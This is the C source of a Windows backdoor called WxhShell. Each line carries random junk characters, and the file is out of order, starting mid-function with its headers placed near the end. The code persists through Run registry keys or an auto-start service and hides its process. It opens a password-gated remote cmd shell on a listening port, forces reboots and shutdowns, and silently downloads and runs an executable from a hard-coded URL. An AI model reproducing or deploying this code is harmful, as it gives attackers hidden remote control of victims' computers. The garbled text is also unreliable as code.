    if(Boot(SHUTDOWN)) Gzc{2"p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'S E%9  
    else {  V:F)m!   
    closesocket(wsh); sqj8c)6  
    ExitThread(0); Y -o*d@  
    } ?Z*LTsPr  
    break; VO#]IXaP  
    } %HwPOEJ  
  // 获取shell 2O`uzT$  
  case 's': { r3_@ L>;  
    CmdShell(wsh); (9fqUbG  
    closesocket(wsh); )MmMs"Um  
    ExitThread(0); @H1pPr  
    break; s|%mGt &L  
  } 6>SP5|GG  
  // 退出 AX<TkS@wjb  
  case 'x': { y<8)mw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n M,m#"AI  
    CloseIt(wsh); - :*PXu  
    break; kIP~XV~  
    } ATk>:^n  
  // 离开 dkLc"$( O  
  case 'q': { o/2\8   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FFK79e/5  
    closesocket(wsh); Hx62x X  
    WSACleanup(); Uk6Y6mU V  
    exit(1); :*)~nPVV  
    break; nBWrkVX  
        } z,I7 PY& G  
  } 3)EslBA7i  
  } -gv@ .#N  
]J5[ZVz  
  // 提示信息 <!-8g!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4imlP  
} _ZC4O&fL  
  } ]cLpLA"  
t`Mm  
  return; \aU^c24>  
} {KdC5 1"Nv  
Bl3G_Ep   
// shell模块句柄 #W~5M ?+  
int CmdShell(SOCKET sock) 9Rb-QI  
{ f/eT4y  
STARTUPINFO si; 7.hVbjy'-  
ZeroMemory(&si,sizeof(si)); nxA]EFS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~; Ss)d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kg~<h B6  
PROCESS_INFORMATION ProcessInfo; s~IOc%3  
char cmdline[]="cmd"; bxqXFy/I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y^2`)':  
  return 0; `0=0IPVd  
} p%]* I?  
c zL[W2l   
// 自身启动模式 &z 1A-O v  
int StartFromService(void) zi:GvTG  
{ 7h&$^  
typedef struct /Fk LZm  
{ agM.-MK  
  DWORD ExitStatus; ?*9U d  
  DWORD PebBaseAddress; JihI1C  
  DWORD AffinityMask; VahR nD  
  DWORD BasePriority; \-#~)LB]M  
  ULONG UniqueProcessId; 0u'4kF!P!  
  ULONG InheritedFromUniqueProcessId; 9bMM-~  
}   PROCESS_BASIC_INFORMATION; k#c BBrY  
5#80`/w^U  
PROCNTQSIP NtQueryInformationProcess; ]^3_eHa^d  
ig")bt3s5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q2Yv8q_}Uq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  --Dw  
K.*?\)&  
  HANDLE             hProcess; f0IljY!.  
  PROCESS_BASIC_INFORMATION pbi; X']>b   
nxsQDw\hy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +&4PGv53J  
  if(NULL == hInst ) return 0; P>)-uLc~W  
6!n"E@Bwu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]vXIj0:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xv$^%(Ujp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Vs/1y`()  
pnxjuDN7}x  
  if (!NtQueryInformationProcess) return 0; `y P-,lA$  
dsR{ P,!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q-o=lU"  
  if(!hProcess) return 0; c~5#)AXMT  
Eh!%Ne O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mIFS/C  
HoH3.AY X  
  CloseHandle(hProcess); }E*d)n|  
hO;bnt%(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kp ~k!6x  
if(hProcess==NULL) return 0; D8m?`^Zz  
Wq<>a;m  
HMODULE hMod; thipfS  
char procName[255]; O.& 6J/  
unsigned long cbNeeded; $#]?\psf  
2}$Vi$ R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^nbze  
I;P?P5H  
  CloseHandle(hProcess); X2 M<DeF:  
L9Fx Lw41  
if(strstr(procName,"services")) return 1; // 以服务启动 *VHBTO9  
{@Diig  
  return 0; // 注册表启动 u%XFFt5  
} _N/]&|.. !  
}K<;ygcWE@  
// 主模块 k`oXo%  
int StartWxhshell(LPSTR lpCmdLine) nz+o8L,  
{ & \<RVE  
  SOCKET wsl; 7w>"M  
BOOL val=TRUE; lmH!I )5  
  int port=0; Ic#+*W\ZW  
  struct sockaddr_in door; Gk[P-%%b /  
Kw!`u^>  
  if(wscfg.ws_autoins) Install(); \M>AN Z}  
!PUhdW  
port=atoi(lpCmdLine); C>T6{$xkC  
!cSD9q*  
if(port<=0) port=wscfg.ws_port; v|{*y  
)&_{m K  
  WSADATA data; hp,T(D|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X@~sIUXx9  
7DOAG[gH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sv0kksj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GExG1n-  
  door.sin_family = AF_INET; 5VG@Q%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uUc[s"\  
  door.sin_port = htons(port); .*Hv^_  
tCc}}2bC&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < "~k8:=4  
closesocket(wsl); m.V mS7_I  
return 1; jDXmre?  
} cq[}>5*k  
da I-*  
  if(listen(wsl,2) == INVALID_SOCKET) { "K\Rq+si  
closesocket(wsl); wV5<sH__  
return 1; jU4Ir {f  
} kQ'G+Kw~F  
  Wxhshell(wsl); 8De `.!Gg  
  WSACleanup(); TzK?bbgr!  
:"QRB#EC%  
return 0; w~Y#[GW  
57[O)5u.+  
} VJ=!0v  
(>;~((2  
// 以NT服务方式启动 R0/~) P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UI!EIZ*~  
{ uk\GAm@O  
DWORD   status = 0; pn =S%Qf]  
  DWORD   specificError = 0xfffffff; {ld([  
l;|1C[V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v WhtClJ3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %"KBX~3+Kj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7XwFO0==  
  serviceStatus.dwWin32ExitCode     = 0; _FVIN;!  
  serviceStatus.dwServiceSpecificExitCode = 0; lcUL7  
  serviceStatus.dwCheckPoint       = 0; [n:R]|^a  
  serviceStatus.dwWaitHint       = 0; ]]7s9PCN  
Q0 ^?jh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |20p#]0E+  
  if (hServiceStatusHandle==0) return; tGf  
V'6%G:?0a  
status = GetLastError(); "arbUX~d  
  if (status!=NO_ERROR) 3b[_0  
{ HX=`kkX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =j}00,WH  
    serviceStatus.dwCheckPoint       = 0; a{-}8f6  
    serviceStatus.dwWaitHint       = 0; IzL yn  
    serviceStatus.dwWin32ExitCode     = status; leyX: +  
    serviceStatus.dwServiceSpecificExitCode = specificError; GJ((eAS)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N*$Q(K  
    return; -bs~{  
  } ].Et&v  
|~Z+Xl a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .IYE"0)wJ  
  serviceStatus.dwCheckPoint       = 0; g!K(xh EO  
  serviceStatus.dwWaitHint       = 0; Qb SX'mx<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VvPTL8Z  
} V= .'Db2D  
&]ImO RN  
// 处理NT服务事件,比如:启动、停止 p oNQ<ijK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xl<Cstr  
{ {j^}"8GB  
switch(fdwControl) |#MA?oz3T  
{ yuhSP{pv'  
case SERVICE_CONTROL_STOP: .ipYZg'V  
  serviceStatus.dwWin32ExitCode = 0; v'DL >Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NB>fr#pb  
  serviceStatus.dwCheckPoint   = 0; q5QYp  
  serviceStatus.dwWaitHint     = 0; a|66[  
  { z?+N3p9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L.erP* w  
  } -,p(PK  
  return; ^S[Mg6J  
case SERVICE_CONTROL_PAUSE: Qs*g)Yr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  4INO .  
  break; Ga~IOlS  
case SERVICE_CONTROL_CONTINUE: & XcY|y=W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7]G3yt->  
  break; $0{c =r9  
case SERVICE_CONTROL_INTERROGATE: hPH= .rX  
  break; e6]u5;B r  
}; 3;#v$F8R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bm.%bA>  
} }}K4 4<]u  
 :3u>%  
// 标准应用程序主函数 Rl-Sr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H}X3nl\]  
{ `2U zJ~  
?!8M I,c/  
// 获取操作系统版本 rsA K0R+  
OsIsNt=GetOsVer(); NtSa# $A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ Al\:  
vMDV%E S1t  
  // 从命令行安装 ?r#e  
  if(strpbrk(lpCmdLine,"iI")) Install(); AEhh 6v  
h_Q9 c  
  // 下载执行文件 |%we@ E  
if(wscfg.ws_downexe) { Bo_Ivhe[m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZB<goEg  
  WinExec(wscfg.ws_filenam,SW_HIDE); xR\$2(  
} 7k{C'\m  
t%V!SvT8+  
if(!OsIsNt) { GR Rv0M  
// 如果时win9x,隐藏进程并且设置为注册表启动 9UZKL@KC  
HideProc(); 8"Hy'JA$O  
StartWxhshell(lpCmdLine); +P81&CaY  
} f9F@G&&Ugg  
else PiP\T.XANa  
  if(StartFromService()) 'eZ UNX  
  // 以服务方式启动 hK&jo(V  
  StartServiceCtrlDispatcher(DispatchTable); ,QdUfM  
else a9`E&Q}z  
  // 普通方式启动 j"9bt GX  
  StartWxhshell(lpCmdLine); 5ZSV)$t  
kW3V"twx  
return 0; $&I##od  
} \f5$L`  
Cpz'6F^oP  
tQ&.;{5[f  
OV_Y`u7YR  
=========================================== JJPU!  
I>B-[QEC  
pPuE-EDk  
(:4N#p  
(i^{\zv  
MuQyHEDF  
" [kM)K'-  
3pl/k T.\  
#include <stdio.h> ~k'KS 7c  
#include <string.h> l\I#^N  
#include <windows.h> m-dyvW+  
#include <winsock2.h> yZj:Kp+7  
#include <winsvc.h> >7[. {Y  
#include <urlmon.h> wt0^R<28  
33z)F  
#pragma comment (lib, "Ws2_32.lib") AKk6kI8F  
#pragma comment (lib, "urlmon.lib") r({!ejT{U  
WwG78b-OA  
#define MAX_USER   100 // 最大客户端连接数 x DD3Y{ K  
#define BUF_SOCK   200 // sock buffer Soy!)c]  
#define KEY_BUFF   255 // 输入 buffer ms@*JCL!t  
aVNBF`  
#define REBOOT     0   // 重启 Ue^2H[zs-  
#define SHUTDOWN   1   // 关机 =Yg36J4[  
;[V_w/-u  
#define DEF_PORT   5000 // 监听端口 EnnT)qos  
Cp` [0v~0  
#define REG_LEN     16   // 注册表键长度 KCu@5`p  
#define SVC_LEN     80   // NT服务名长度 'Alt+O_  
>77N5 >]e  
// 从dll定义API GVhO}m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nk|j(D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +[C dd{2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2#:/C:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ()a(PvEO  
g`I`q3EF)  
// wxhshell配置信息 (hWr!(>C4]  
struct WSCFG { l$N b1&  
  int ws_port;         // 监听端口 +aR.t@D+"Y  
  char ws_passstr[REG_LEN]; // 口令 AlT41v~6  
  int ws_autoins;       // 安装标记, 1=yes 0=no -e0C Bp  
  char ws_regname[REG_LEN]; // 注册表键名 cVya~ *  
  char ws_svcname[REG_LEN]; // 服务名 r!:W-Y%&#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vz[E)(QX-`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (WZKqt)S"o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )[_A{#&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :ZG^`H/X1d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hiO:VA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]k~Vh[[  
U'(}emh}  
}; l`=).k   
{,EOSta  
// default Wxhshell configuration tVVnQX  
struct WSCFG wscfg={DEF_PORT, AE0d0Y~9  
    "xuhuanlingzhe", a Mp*Ap  
    1, e[_W( v  
    "Wxhshell", #vh1QV!Ho  
    "Wxhshell", %{qJkjG  
            "WxhShell Service", LoZ8;VU  
    "Wrsky Windows CmdShell Service", Xb +)@Y4h  
    "Please Input Your Password: ", N5 ITb0Tv  
  1, R-nC+)^  
  "http://www.wrsky.com/wxhshell.exe", E/ %S0  
  "Wxhshell.exe" 0w^\sf%s  
    }; zWvG];fsN  
CY2DxP%  
// 消息定义模块 iC- ?F cA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /LMb~Hy,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y^5X>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <K4`GT"n  
char *msg_ws_ext="\n\rExit."; 4 4%jz-m  
char *msg_ws_end="\n\rQuit."; JmN,:bI  
char *msg_ws_boot="\n\rReboot..."; 2y; |6`  
char *msg_ws_poff="\n\rShutdown..."; 8\c= Un  
char *msg_ws_down="\n\rSave to "; tMGkm8y-A  
<jd S0YT  
char *msg_ws_err="\n\rErr!"; mtDRF'>P:  
char *msg_ws_ok="\n\rOK!"; UJ' +Z6d  
~/?JRL=  
char ExeFile[MAX_PATH]; cGSoAK  
int nUser = 0; _nu %`?Va  
HANDLE handles[MAX_USER]; ),`MAevp  
int OsIsNt; bh=d'9B@&J  
Fs_,RXW"  
SERVICE_STATUS       serviceStatus; +kCVi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JtYc'%OF  
'Rk~bAX  
// 函数声明 E\!:MCL  
int Install(void); Bm%.f!`  
int Uninstall(void); qmUq9bV  
int DownloadFile(char *sURL, SOCKET wsh); g;en_~g3j  
int Boot(int flag); X'N 4a  
void HideProc(void); t!^FWr&  
int GetOsVer(void); -k\7k2  
int Wxhshell(SOCKET wsl); j}YZl@dYV  
void TalkWithClient(void *cs); ^EU& 6M2  
int CmdShell(SOCKET sock);  01I5,Dm  
int StartFromService(void); WH :+HNl1d  
int StartWxhshell(LPSTR lpCmdLine); }8Wp X2U  
~h-G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |7WzTz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y1AbG1n|  
;@K,>$ur-  
// 数据结构和表定义 ,u QLXF2  
SERVICE_TABLE_ENTRY DispatchTable[] = G 8|[.n  
{ dtjaQsJM^  
{wscfg.ws_svcname, NTServiceMain}, 'T[=Uuj"  
{NULL, NULL} %_+9y??  
}; 9,5v%HZ  
sw*k(i  
// 自我安装 &:L8; m  
int Install(void) r5[om$|*  
{ tjkY[  
  char svExeFile[MAX_PATH]; Y">tfLIL_  
  HKEY key; _%l+v  
  strcpy(svExeFile,ExeFile); GSV,  
S6}_Z  
// 如果是win9x系统,修改注册表设为自启动 P&| =  
if(!OsIsNt) { XRs/gUT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xTD6?X'4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lsW.j#yE!  
  RegCloseKey(key); 3@$h/xMJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aGp <%d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .&7=ZY>E  
  RegCloseKey(key); P;KbS~ SlC  
  return 0; 5`oor86  
    } nL^6{I~  
  } SiojOH  
} u!g=>zEu  
else { wO} 3i6  
doc5;?6   
// 如果是NT以上系统,安装为系统服务 K1O/>dN_\O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $qQ6u!  
if (schSCManager!=0) k;zb q  
{ H#U{i  
  SC_HANDLE schService = CreateService hl}#bZ8]  
  ( o)}b Fw  
  schSCManager, pRc(>P3;  
  wscfg.ws_svcname, * V W \  
  wscfg.ws_svcdisp, IvIBf2D;Q  
  SERVICE_ALL_ACCESS, MBcOIy[&A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3}g?d/^E3  
  SERVICE_AUTO_START, +6<MK;  
  SERVICE_ERROR_NORMAL, i04Sf^  
  svExeFile, }J`{g/  
  NULL, (/"T=`3t  
  NULL, 58e{WC  
  NULL, Zz?+,-$_*&  
  NULL, w#PaN83+  
  NULL n^&QOII@>  
  ); ie.cTTOI  
  if (schService!=0) r@%32h  
  { 5tq$SF42X  
  CloseServiceHandle(schService); D4#,9?us  
  CloseServiceHandle(schSCManager); <S$y=>.9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l'16B^  
  strcat(svExeFile,wscfg.ws_svcname); k})9(Sy~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3}twWnQZJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |xKB><  
  RegCloseKey(key); P\zi:]h[Gh  
  return 0; 3;:xEPb._6  
    } :+Dn]:\  
  } fI$, ?>  
  CloseServiceHandle(schSCManager); 1~7y]d?%  
} v?LJ_>hw*T  
} (/*-M]>  
e:7aVOm  
return 1; |um)vlN;9  
} qA30z%#z_  
r1?LKoJOn  
// 自我卸载 R:ar85F  
int Uninstall(void) V|a 59 [y?  
{ Y(A?ib~K  
  HKEY key; nQ~q -=,L  
IBF>4q m"  
if(!OsIsNt) { MPL2#YU/a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T2(+HI2  
  RegDeleteValue(key,wscfg.ws_regname); wy -!1wd  
  RegCloseKey(key); \uPT-M*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >XZq=q]E!  
  RegDeleteValue(key,wscfg.ws_regname); z.H`a+cl  
  RegCloseKey(key); #F{|G:\@[  
  return 0; A23Z)`  
  } 3<`h/`ku  
} ~~fL`"  
} 4PF4#  
else { rvfl~<G*  
_|Dt6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d*AV(g#B  
if (schSCManager!=0) &WRoNc  
{ ?41| e+p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'V>+G>U  
  if (schService!=0) #F6ak,9S4  
  { ypifXO;m7  
  if(DeleteService(schService)!=0) { "yz@LV1  
  CloseServiceHandle(schService); X>B/DT  
  CloseServiceHandle(schSCManager); $fn^i.  
  return 0; l3MH+o  
  } pKJ[e@E^  
  CloseServiceHandle(schService); "bO]  
  } q_K1L  
  CloseServiceHandle(schSCManager); 6x7=0}'  
} r\1*N.O3|O  
} W>Kwl*Cis"  
FG(`&S+,  
return 1; |% kK?!e+-  
} L7b{H2 2  
*w6N&  
// 从指定url下载文件 0qZ)$ YKq  
int DownloadFile(char *sURL, SOCKET wsh) >@|<1Fx|  
{ ?t"PawBWE  
  HRESULT hr; JU6np4  
char seps[]= "/"; %2+]3h>g  
char *token; d"cfSH;h  
char *file; E}GSii%S  
char myURL[MAX_PATH]; &ar}6eO  
char myFILE[MAX_PATH]; K_xOY *  
]aR4U`  
strcpy(myURL,sURL); ][mc^eI0s|  
  token=strtok(myURL,seps); O^:h_L  
  while(token!=NULL) X>4`{x`  
  { @W,Y_8:  
    file=token; {3R ax5Ty  
  token=strtok(NULL,seps); !RD,:\5V  
  } w\ :b(I  
mc=*wr$  
GetCurrentDirectory(MAX_PATH,myFILE); E6gEP0b  
strcat(myFILE, "\\"); +NY4j-O  
strcat(myFILE, file); cmeyCyV*  
  send(wsh,myFILE,strlen(myFILE),0); *X #e  
send(wsh,"...",3,0); S#9SAX [  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]4yvTP3[Rm  
  if(hr==S_OK) (D{}1sZBQ  
return 0; a< EC]-nw  
else Y<+4>Eh  
return 1; <7^~r(DP  
z,)sS<t(  
} 1sjn_fPz  
abnd U,s  
// 系统电源模块 }}_uN-m  
int Boot(int flag) Mvv=)?:  
{ 4:']'E  
  HANDLE hToken; ^IH1@  
  TOKEN_PRIVILEGES tkp; m =}X$QF`^  
L'Zud,JKg  
  if(OsIsNt) { G#: !wI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yn>zR I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W wha?W>  
    tkp.PrivilegeCount = 1; +a-@ !J~:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t] wM_]+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jVIpbG4 4  
if(flag==REBOOT) { (do=o&9p m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (Y)h+}n5N  
  return 0; D 8Rmxq!  
}  uN 62>  
else { l`&6W?C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m!60.  
  return 0; ]gksyxn3  
} @3c#\jx  
  } M[u3]dN  
  else { =7fh1XnW  
if(flag==REBOOT) { >` QX xTn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Oyi:2A  
  return 0; ?w/nZQWi  
} qk,y|7 p  
else { acY[?L_6J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q&Wwt qc9  
  return 0; :QV6 z*#zD  
} [9om"'  
} ,jsx]U/^  
7 afA'.=  
return 1; ' u};z:t  
} 3b@1Zahz  
YwWTv  
// win9x进程隐藏模块 ws>Iyw.u  
void HideProc(void) [KI`e  
{ :TYzzl43  
h) PB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dG>Wu o  
  if ( hKernel != NULL ) "Vp: z V<S  
  { EJaaW&>[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u6I0<i_KZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jQeE07g  
    FreeLibrary(hKernel); ;To+,`?E;q  
  } NvHy'  
{_ho!OS>  
return; N|d.!Q;V.y  
} W#7-%o T  
T.P Z}4  
// 获取操作系统版本 0*IY%=i  
int GetOsVer(void) eKpxskbhZ  
{ n[:AV  
  OSVERSIONINFO winfo; pD_eo6xX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rn[}{1I33Q  
  GetVersionEx(&winfo); 2]RH)W86;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h8= MVh(I  
  return 1; nBIv{  
  else 7U )qC}(  
  return 0; +fCyR  
} xVz -_z  
_ KhEwd  
// 客户端句柄模块 }%ZG> LG5J  
int Wxhshell(SOCKET wsl) e9hVX[uq  
{ h-+a;![  
  SOCKET wsh; RQ)!KlY  
  struct sockaddr_in client; '"fU2M<.  
  DWORD myID; l)rvh#D  
&B7+>Ix,  
  while(nUser<MAX_USER) J(&M<<%  
{ (zro7gKked  
  int nSize=sizeof(client); ])ALAAIc-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `_g?y)  
  if(wsh==INVALID_SOCKET) return 1; CbH T #  
{{[jC"4AY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MV;Y?%>  
if(handles[nUser]==0) 8&A|)ur4  
  closesocket(wsh); >7(~'#x8A"  
else zTBi{KrZ  
  nUser++; XG\a-dq[  
  } Zc\h15+P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6=g]Y!o$  
#9hXZr/8  
  return 0; L3=YlX`UL  
} ,ORG"]_F  
q%kj[ZOY$]  
// 关闭 socket "J[i=~(  
void CloseIt(SOCKET wsh) hKzBq*cV  
{ pJ$N@ID  
closesocket(wsh); e"s{_V  
nUser--; N}x/&e  
ExitThread(0); 6aF'^6+a  
} b6WC @j`*T  
\l=KWa3Q  
// 客户端请求句柄 AR+\uD=\I-  
void TalkWithClient(void *cs) 2 ) /k`Na  
{ N9JgV,`  
 IB.'4B7  
  SOCKET wsh=(SOCKET)cs; _^xh1=Qr}n  
  char pwd[SVC_LEN]; mcz(,u}  
  char cmd[KEY_BUFF]; il>x!)?o  
char chr[1]; TH(Lzrbg  
int i,j; (9YYv+GGd*  
+zVcOS*-  
  while (nUser < MAX_USER) { rz[uuY7  
iQm.]A  
if(wscfg.ws_passstr) { =N@)CB7a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LE0J ;|1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JW%/^'  
  //ZeroMemory(pwd,KEY_BUFF); yjOu]K:X  
      i=0; kh>SrW]B%  
  while(i<SVC_LEN) {  ENYF0wW  
[N+ m5{tT  
  // 设置超时 DQ n`@  
  fd_set FdRead; \%-E"[!  
  struct timeval TimeOut; G1?0Q_RN  
  FD_ZERO(&FdRead); P+;CE|J`X  
  FD_SET(wsh,&FdRead); *b6I%MZn  
  TimeOut.tv_sec=8; z*dQIC  
  TimeOut.tv_usec=0; 9Ew:.&d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n2jvXLJq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wzDk{4U  
:Er^"9'A2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _[$T29:8\]  
  pwd=chr[0]; n ,&/D  
  if(chr[0]==0xd || chr[0]==0xa) { wZo.ynXT  
  pwd=0; #LN5&i;s  
  break; OD?y  
  }  O ':0V  
  i++; uXG`6|?  
    } O2`oe4."vd  
B0b[p*g Il  
  // 如果是非法用户,关闭 socket Uw2,o|=O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B.}_],  
} wDT>">&d  
t g KG&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MG7 ?N #  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W.#}q K" q  
()QOZ+x_!  
while(1) { yyY~ *Le  
jb|mip@` <  
  ZeroMemory(cmd,KEY_BUFF); #gW /qJ  
X$7Oo^1;  
      // 自动支持客户端 telnet标准   V>b2b5QAH,  
  j=0; P+)qE6\  
  while(j<KEY_BUFF) { F`Dg*O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P"(z jG9-  
  cmd[j]=chr[0]; e/"yGQu  
  if(chr[0]==0xa || chr[0]==0xd) { @uI?  
  cmd[j]=0; lZ|L2Yg3uB  
  break; a|DsHZ^6^  
  } Usa+b A  
  j++; Y7<zm}=(/  
    } YSR mt/  
N$\ bg|v  
  // 下载文件 q"gqO%Wb|  
  if(strstr(cmd,"http://")) { @s_3 0+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R)0N0gH  
  if(DownloadFile(cmd,wsh)) yfmp$GO:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :J^qjAV  
  else 6g5PM4\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v,/[&ASz  
  } !ZFr7Xz  
  else { >[ eW">:>K  
^_v[QV  
    switch(cmd[0]) { YEzU{J  
  <f N; xIB  
  // 帮助 # ;K,,ku x  
  case '?': { $}t=RW  
